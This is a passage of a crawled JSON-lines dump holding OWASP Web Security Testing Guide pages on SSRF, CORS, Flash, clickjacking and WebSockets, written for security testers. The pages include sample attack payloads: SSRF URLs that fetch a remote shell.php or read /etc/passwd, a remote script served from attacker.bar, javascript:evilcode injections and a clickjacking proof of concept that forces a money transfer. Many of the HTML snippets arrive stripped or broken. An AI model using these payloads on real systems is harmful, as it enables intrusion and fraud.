https://example.com/page?page=https://malicioussite.com/shell.php\n```\n\n### Access a Restricted Page\n\n```\nGET https://example.com/page?page=http://localhost/admin\n```\n\nOr:\n\n```\nGET https://example.com/page?page=http://127.0.0.1/admin\n```\n\nUse the loopback interface to access content restricted to the host only. This mechanism implies that if you have access to the host, you also have privileges to directly access the `admin` page.\n\nThese kind of trust relationships, where requests originating from the local machine are handled differently than ordinary requests, are often what enables SSRF to be a critical vulnerability.\n\n### Fetch a Local File\n\n```\nGET https://example.com/page?page=file:///etc/passwd\n```\n\n### HTTP Methods Used\n\nAll of the payloads above can apply to any type of HTTP request, and could also be injected into header and cookie values as well.\n\nOne important note on SSRF with POST requests is that the SSRF may also manifest in a blind manner, because the application may not return anything immediately. Instead, the injected data may be used in other functionality such as PDF reports, invoice or order handling, etc., which may be visible to employees or staff but not necessarily to the end user or tester.\n\nYou can find more on Blind SSRF [here](https://portswigger.net/web-security/ssrf/blind), or in the references section.\n\n### PDF Generators\n\nIn some cases, a server may convert uploaded files to PDF format. Try injecting ` \n```\n\nConsequently, the browser sees the request coming from `null`, the server allows `null`, and the attacker successfully reads the sensitive response.\n\n### Input Validation Weakness\n\nThe CORS concept can be viewed from a completely different angle. An attacker may allow their CORS policy on purpose to inject code to the target web application.\n\n#### Remote XSS with CORS\n\nThis code makes a request to the resource passed after the `#` character in the URL, initially used to get resources in the same server.\n\nVulnerable code:\n\n```\n
\n```\n\nFor example, a request like this will show the contents of the `profile.php` file:\n\n`https://example.foo/main.php#profile.php`\n\nRequest and response generated by `https://example.foo/profile.php`:\n\n```\nGET /profile.php HTTP/1.1\nHost: example.foo\n[...]\nReferer: https://example.foo/main.php\nConnection: keep-alive\n\nHTTP/1.1 200 OK\n[...]\nContent-Length: 25\nContent-Type: text/html\n\n[Response Body]\n```\n\nNow, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the `example.foo` domain, with a URL like this:\n\n```\nhttps://example.foo/main.php#https://attacker.bar/file.php\n```\n\nRequest and response generated by `https://attacker.bar/file.php`:\n\n```\nGET /file.php HTTP/1.1\nHost: attacker.bar\n[...]\nReferer: https://example.foo/main.php\norigin: https://example.foo\n\nHTTP/1.1 200 OK\n[...]\nAccess-Control-Allow-Origin: *\nContent-Length: 92\nContent-Type: text/html\n\nInjected Content from attacker.bar \n```\n\n## References\n\n- [OWASP HTML5 Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#cross-origin-resource-sharing)\n- [MDN Cross-Origin Resources Sharing](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11475, "slov": 1649, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:54:23", "sha256": "bf54c5b875e029ed1e166ad596efadc839f805762bb3fd35649a40f76d7b01d3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Cross-origin_resource_sharing", "https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy", "https://www.w3.org/TR/cors/", "https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name", "https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS", "https://www.zaproxy.org/", "https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/08-Cross_Site_Flashing", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/08-Cross_Site_Flashing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/08-Cross_Site_Flashing", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "11-Client-side"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Cross Site Flashing"}], "markdown": "# WSTG - Latest\n\n# Cross Site Flashing\n\n| ID |\n| --- |\n| WSTG-CLNT-08 |\n\nThis content has been removed.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 177, "slov": 16, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:54:24", "sha256": "60624e82159f5f3f79541660a3851d242c0ec14adebfd64d803aa8305ce9c935", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/09-Clickjacking", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/09-Clickjacking", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/09-Clickjacking", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "11-Client-side"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Clickjacking"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Load Target Web Page on a HTML Interpreter Using HTML iframe Tag"}, {"uroven": 3, "text": "Test Application against Disabled JavaScript"}, {"uroven": 3, "text": "Sandbox Attribute"}, {"uroven": 3, "text": "Test Application on Compatibility and Accessibility Mode"}, {"uroven": 3, "text": "Server-Side Protection: Using Frame-Ancestors Directive of Content Security Policy"}, {"uroven": 4, "text": "Content Security Policy Response Header"}, {"uroven": 5, "text": "Proxies"}, {"uroven": 5, "text": "Mobile Version of the Application"}, {"uroven": 3, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Clickjacking\n\n| ID |\n| --- |\n| WSTG-CLNT-09 |\n\n## Summary\n\nClickjacking, a subset of UI redressing, is a malicious technique whereby a web user is deceived into interacting (in most cases by clicking) with something other than what the user believes they are interacting with. This type of attack, either alone or in conjunction with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting with seemingly-harmless web pages. The term clickjacking was coined by Jeremiah Grossman and Robert Hansen in 2008.\n\nA clickjacking attack uses seemingly-harmless features of HTML and JavaScript to force the victim to perform undesired actions, such as clicking an invisible button that performs an unintended operation. This is a client-side security issue that affects a variety of browsers and platforms.\n\nTo carry out this attack, an attacker creates a seemingly-harmless web page that loads the target application through the use of an inline frame (concealed with CSS code). Once this is done, an attacker may induce the victim to interact with the web page by other means (through, for example, social engineering). Like other attacks, a common prerequisite is that the victim is authenticated against the attacker’s target application.\n\n*Figure 4.11.9-1: Clickjacking inline frame illustration*\n\nThe victim surfs the attacker’s web page with the intention of interacting with the visible user interface, but is inadvertently performing actions on the hidden web page. Using the hidden page, an attacker can deceive users into performing actions they never intended to perform through the positioning of the hidden elements in the web page.\n\n*Figure 4.11.9-2: Masked inline frame illustration*\n\nThe power of this method is that the actions performed by the victim are originated from the hidden but authentic target web page. Consequently, some of the anti-CSRF protections deployed by the developers to protect the web page from CSRF attacks could be bypassed.\n\n## Test Objectives\n\n- Assess application vulnerability to clickjacking attacks.\n\n## How to Test\n\nAs mentioned above, this type of attack is often designed to allow an attacker to induce users’ actions on the target site, even if anti-CSRF tokens are being used.\n\n### Load Target Web Page on a HTML Interpreter Using HTML iframe Tag\n\nSites that do not protected against frame busting are vulnerable to clickjacking attack. If the `https://www.target.site` web page is successfully loaded into a frame, then the site is vulnerable to Clickjacking. An example of HTML code to create this testing web page is displayed in the following snippet:\n\n```\n \n \n Clickjack test web page\n \n \n \n \n \n```\n\n### Test Application against Disabled JavaScript\n\nSince these types of client-side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.\n\nThere are few deactivation techniques that can be used with frames. More in depth techniques can be found on the [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n\n### Sandbox Attribute\n\nWith HTML5 a new attribute called “sandbox” is available. It enables a set of restrictions on content loaded into the iframe.\n\nExample:\n\n```\n \n```\n\n### Test Application on Compatibility and Accessibility Mode\n\nMobile versions of the web page are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants often have less protection. However, an attacker can fake the real origin given by a web browser, and a non-mobile victim may be able to visit an application made for mobile users. This scenario could allow the attacker to exploit a mobile version of the web page.\nApplications running on acessibility mode should also be tested against clickjacking, because site framming could be affected.\n\n### Server-Side Protection: Using Frame-Ancestors Directive of Content Security Policy\n\nThe HTTP Content-Security-Policy (CSP) response header allows web page administrators to control resources the user agent is allowed to load for a given web page. The `frame-ancestors` directive in the HTTP CSP specifies the acceptable parents that may embed a web page using the ``, ` \n```\n\nIn this situation, the browser will self-generate an HTML page as if it were hosted by the victim host.\n\n### GetURL (AS2) / NavigateToURL (AS3)\n\nThe GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser’s window. If an undefined variable is used as the first argument for getURL:\n\n`getURL(_root.URI,'_targetFrame');`\n\nOr if a FlashVar is used as the parameter that is passed to a navigateToURL function:\n\n```\nvar request:URLRequest = new URLRequest(FlashVarSuppliedURL); navigateToURL(request); \n```\n\nThen this will mean it’s possible to call JavaScript in the same domain where the movie is hosted by requesting:\n\n`http://victim/file.swf?URI=javascript:evilcode`\n\n`getURL('javascript:evilcode','_self');`\n\nThe same is possible when only some part of `getURL` is controlled via DOM injection with Flash JavaScript injection:\n\n```\ngetUrl('javascript:function('+_root.arg+')') \n```\n\n### Using `asfunction`\n\nYou can use the special `asfunction` protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL. Until release Flash Player 9 r48 `asfunction` could be used on every method which has a URL as an argument. After that release, `asfunction` was restricted to use within an HTML TextField.\n\nThis means that a tester could try to inject:\n\n```\nasfunction:getURL,javascript:evilcode \n```\n\nin every unsafe method, such as:\n\n```\nloadMovie(_root.URL) \n```\n\nby requesting:\n\n`http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode`\n\n### ExternalInterface\n\n`ExternalInterface.call` is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0.\n\nFrom a security point of view it could be abused when part of its argument could be controlled:\n\n```\nflash.external.ExternalInterface.call(_root.callback); \n```\n\nthe attack pattern for this kind of flaw may be something like the following:\n\n```\neval(evilcode) \n```\n\nsince the internal JavaScript that is executed by the browser will be something similar to:\n\n```\neval('try { __flash__toXML('+__root.callback+') ; } catch (e) { \"\"; }') \n```\n\n### HTML Injection\n\nTextField Objects can render minimal HTML by setting:\n\n```\ntf.html = true tf.htmlText = 'text' \n```\n\nSo if some part of text could be controlled by the tester, an `` tag or an image tag could be injected resulting in modifying the GUI or a XSS attack on the browser.\n\nSome attack examples with `` tag:\n\n- Direct XSS: ``\n- Call a function: ``\n- Call SWF public functions: ``\n- Call native static as function: ``\n\nAn image tag could be used as well:\n\n```\n \n```\n\nIn this example, `.swf` is necessary to bypass the Flash Player internal filter:\n\n```\n \n```\n\nSince the release of Flash Player 9.0.124.0, XSS is no longer exploitable, but GUI modification could still be accomplished.\n\nThe following tools may be helpful in working with SWF:\n\n- [Adobe SWF Investigator](https://labs.adobe.com/technologies/swfinvestigator/)\n- [OWASP SWFIntruder](https://wiki.owasp.org/index.php/Category:SWFIntruder)\n- [Decompiler – Flare](http://www.nowrap.de/flare.html)\n- [Disassembler – Flasm](http://flasm.sourceforge.net/)\n- [Swfmill – Convert Swf to XML and vice versa](https://www.swfmill.org/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11203, "slov": 1537, "odkazu": 184, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:25", "sha256": "86ed34e56230c7eee3eb620d8f433926bb450749cc32450e75ff0991b95b03ce", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.wisec.it/en/Docs/flash_App_testing_Owasp07.pdf", "https://labs.adobe.com/technologies/swfinvestigator/", "https://wiki.owasp.org/index.php/Category:SWFIntruder", "http://www.nowrap.de/flare.html", "http://flasm.sourceforge.net/", "https://www.swfmill.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Testing for Clickjacking"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Bypass Clickjacking Protection"}, {"uroven": 4, "text": "Client-side Protection: Frame Busting"}, {"uroven": 5, "text": "Mobile Website Version"}, {"uroven": 5, "text": "Double Framing"}, {"uroven": 5, "text": "Disabling JavaScript"}, {"uroven": 5, "text": "OnBeforeUnload Event"}, {"uroven": 5, "text": "XSS Filter"}, {"uroven": 5, "text": "Redefining Location"}, {"uroven": 4, "text": "Server-side Protection: X-Frame-Options"}, {"uroven": 5, "text": "Browser Compatibility"}, {"uroven": 5, "text": "Proxies"}, {"uroven": 5, "text": "Mobile Website Version"}, {"uroven": 3, "text": "Create a Proof of Concept"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Stable\n\n# Testing for Clickjacking\n\n| ID |\n| --- |\n| WSTG-CLNT-09 |\n\n## Summary\n\nClickjacking, a subset of UI redressing, is a malicious technique whereby a web user is deceived into interacting (in most cases by clicking) with something other than what the user believes they are interacting with. This type of attack, either alone or in conjunction with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting with seemingly-harmless web pages. The term clickjacking was coined by Jeremiah Grossman and Robert Hansen in 2008.\n\nA clickjacking attack uses seemingly-harmless features of HTML and JavaScript to force the victim to perform undesired actions, such as clicking an invisible button that performs an unintended operation. This is a client-side security issue that affects a variety of browsers and platforms.\n\nTo carry out this attack, an attacker creates a seemingly-harmless web page that loads the target application through the use of an inline frame (concealed with CSS code). Once this is done, an attacker may induce the victim to interact with the web page by other means (through, for example, social engineering). Like other attacks, a common prerequisite is that the victim is authenticated against the attacker’s target website.\n\n*Figure 4.11.9-1: Clickjacking inline frame illustration*\n\nThe victim surfs the attacker’s web page with the intention of interacting with the visible user interface, but is inadvertently performing actions on the hidden page. Using the hidden page, an attacker can deceive users into performing actions they never intended to perform through the positioning of the hidden elements in the web page.\n\n*Figure 4.11.9-2: Masked inline frame illustration*\n\nThe power of this method is that the actions performed by the victim are originated from the hidden but authentic target web page. Consequently, some of the anti-CSRF protections deployed by the developers to protect the web page from CSRF attacks could be bypassed.\n\n## Test Objectives\n\n- Understand security measures in place.\n- Assess how strict the security measures are and if they are bypassable.\n\n## How to Test\n\nAs mentioned above, this type of attack is often designed to allow an attacker to induce users’ actions on the target site, even if anti-CSRF tokens are being used. Testing should be conducted to determine if website pages are vulnerable to clickjacking attacks.\n\nTesters may investigate if a target page can be loaded in an inline frame by creating a simple web page that includes a frame containing the target web page. An example of HTML code to create this testing web page is displayed in the following snippet:\n\n```\n Clickjack test page \n```\n\nIf the `http://www.target.site` page is successfully loaded into the frame, then the site is vulnerable and has no type of protection against clickjacking attacks.\n\n### Bypass Clickjacking Protection\n\nIf the `http://www.target.site` page does not appear in the inline frame, the site probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.\n\nMethods to protect a web page from clickjacking can be divided into a few main mechanisms. It is possible to bypass these methods in some circumstances by employing specific workarounds. For further OWASP resources on clickjacking defense, see the [OWASP Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n\n#### Client-side Protection: Frame Busting\n\nThe most common client-side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame.\n\nThe structure of frame busting code typically consists of a “conditional statement” and a “counter-action” statement. For this type of protection, there are some work arounds that fall under the name of “Bust frame busting”. Some of this techniques are browser-specific while others work across browsers.\n\n##### Mobile Website Version\n\nMobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users. From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.\n\n##### Double Framing\n\nSome frame busting techniques try to break frame by assigning a value to the `parent.location` attribute in the “counter-action” statement.\n\nSuch actions are, for example:\n\n- `self.parent.location` = `document.location`\n- `parent.location.href` = `self.location`\n- `parent.location` = `self.location`\n\nThis method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to `parent.location` becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.\n\nTarget site frame busting code (`example.org`):\n\n```\nif(top.location!=self.locaton) { parent.location = self.location; } \n```\n\nAttacker’s top frame (`fictitious2.html`):\n\n```\n \n```\n\n- Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.\n\nExample:\n\n```\n \n```\n\n- Design mode: Paul Stone showed a security issue concerning the “designMode” that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.\n\n##### OnBeforeUnload Event\n\nThe `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target’s frame busting attempt.\n\nThe attacker can use this attack by registering an unload event on the top page using the following example code:\n\n```\n

www.fictitious.site

\n```\n\n- **Redefining location in Safari 4.0.4** : To bust frame busting code with “top.location” it is possible to bind “location” to a function via defineSetter (through window), so that an attempt to read or navigate to the “top.location” will fail.\n\nExample:\n\n```\n \n```\n\n#### Server-side Protection: X-Frame-Options\n\nAn alternative approach to client-side frame busting code was implemented by Microsoft and it consists of an header based defense. This new “X-FRAME-OPTIONS” header is sent from the server on HTTP responses and is used to mark web pages that shouldn’t be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.\n\nThe “X-FRAME-OPTIONS” is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.\n\n##### Browser Compatibility\n\nSince the “X-FRAME-OPTIONS” was introduced in 2009, this header is not compatible with old browser. So every user that doesn’t have an updated browser could be victim of clickjacking attack.\n\n| Browser | Lowest version |\n| --- | --- |\n| Internet Explorer | 8.0 |\n| Firefox (Gecko) | 3.6.9 (1.9.2.9) |\n| Opera | 10.50 |\n| Safari | 4.0 |\n| Chrome | 4.1.249.1042 |\n\n##### Proxies\n\nWeb proxies are known for adding and stripping headers. In the case in which a web proxy strips the “X-FRAME-OPTIONS” header then the site loses its framing protection.\n\n##### Mobile Website Version\n\nAlso in this case, since the `X-FRAME-OPTIONS` has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.\n\n### Create a Proof of Concept\n\nOnce we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a `proof of concept` (PoC) to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens. In this regard we can imagine that, for example, the `example.org` website allows to authenticated and authorized users to make a transfer of money to another account.\n\nSuppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture).\n\n*Figure 4.11.9-3: Clickjacking Example Step 2*\n\nFollowing a snippet of the code for the step 2:\n\n```\n//generate random anti CSRF token\n$csrfToken = md5(uniqid(rand(), TRUE));\n\n//set the token as in the session data\n$_SESSION['antiCsrf'] = $csrfToken;\n\n//Transfer form with the hidden field\n$form = '\n

BANK XYZ - Confirm Transfer

\n Do You want to confirm a transfer of '. $_REQUEST['amount'] .' € to account: '. $_REQUEST['account'] .' ?\n

';\n```\n\nIn the last step are planned security controls and then, if all is ok, the transfer is done. In the following listing a snippet of code of the last step is presented:\n\n> Note: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack\n\n```\nif( (!empty($_SESSION['antiCsrf'])) && (!empty($_POST['antiCsrf'])) ) { // input logic and sanization checks // check the anti-CSRF token if(($_SESSION['antiCsrf'] == $_POST['antiCsrf']) { echo '

'. $_POST['amount'] .' € successfully transferred to account: '. $_POST['account'] .'

'; } } else { echo '

Transfer KO

'; } \n```\n\nAs you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.\n\nThe target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method.\n\n> Note: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible\n\nThe attacker’s page may look like a simple and harmless web page like the one presented below:\n\n*Figure 4.11.9-4: Clickjacking Example Malicious Page 1*\n\nBut playing with the CSS opacity value we can see what is hidden under the seemingly innocuous web page.\n\n*Figure 4.11.9-5: Clickjacking Example Malicious Page 2*\n\nThe clickjacking code to create this page is presented below:\n\n```\n Trusted web page

www.owasp.com

\n```\n\nWith the help of CSS (note the `#clickjacking` block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button “Click and go!” the form is submitted and the transfer is completed.\n\n*Figure 4.11.9-6: Clickjacking Example Malicious Page 3*\n\nThe example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.\n\n## References\n\n- [OWASP Clickjacking](https://owasp.org/www-community/attacks/Clickjacking)\n- [Wikipedia Clickjacking](https://en.wikipedia.org/wiki/Clickjacking)\n- [Context Information Security: “Next Generation Clickjacking”](https://www.contextis.com/media/downloads/Context-Clickjacking_white_paper_2010.pdf)\n- [Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: “Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites”](https://seclab.stanford.edu/websec/framebusting/framebust.pdf)\n- [Paul Stone: “Next generation clickjacking”](https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 18488, "slov": 2732, "odkazu": 184, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:26", "sha256": "ba2ead560d300ff11216fccabdce19a4b4cec454beb865a0348eda589a60e46f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html", "https://en.wikipedia.org/wiki/Clickjacking", "https://www.contextis.com/media/downloads/Context-Clickjacking_white_paper_2010.pdf", "https://seclab.stanford.edu/websec/framebusting/framebust.pdf", "https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Testing WebSockets"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Origin"}, {"uroven": 3, "text": "Confidentiality and Integrity"}, {"uroven": 3, "text": "Input Sanitization"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Example 1"}, {"uroven": 4, "text": "Example 2"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Stable\n\n# Testing WebSockets\n\n| ID |\n| --- |\n| WSTG-CLNT-10 |\n\n## Summary\n\nTraditionally, the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex).\n\n[WebSockets](https://html.spec.whatwg.org/multipage/web-sockets.html#network) allow the client or server to create a ‘full-duplex’ (two-way) communication channel, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial *upgrade* handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames. For more, see the [WebSocket Protocol](https://tools.ietf.org/html/rfc6455).\n\n### Origin\n\nIt is the 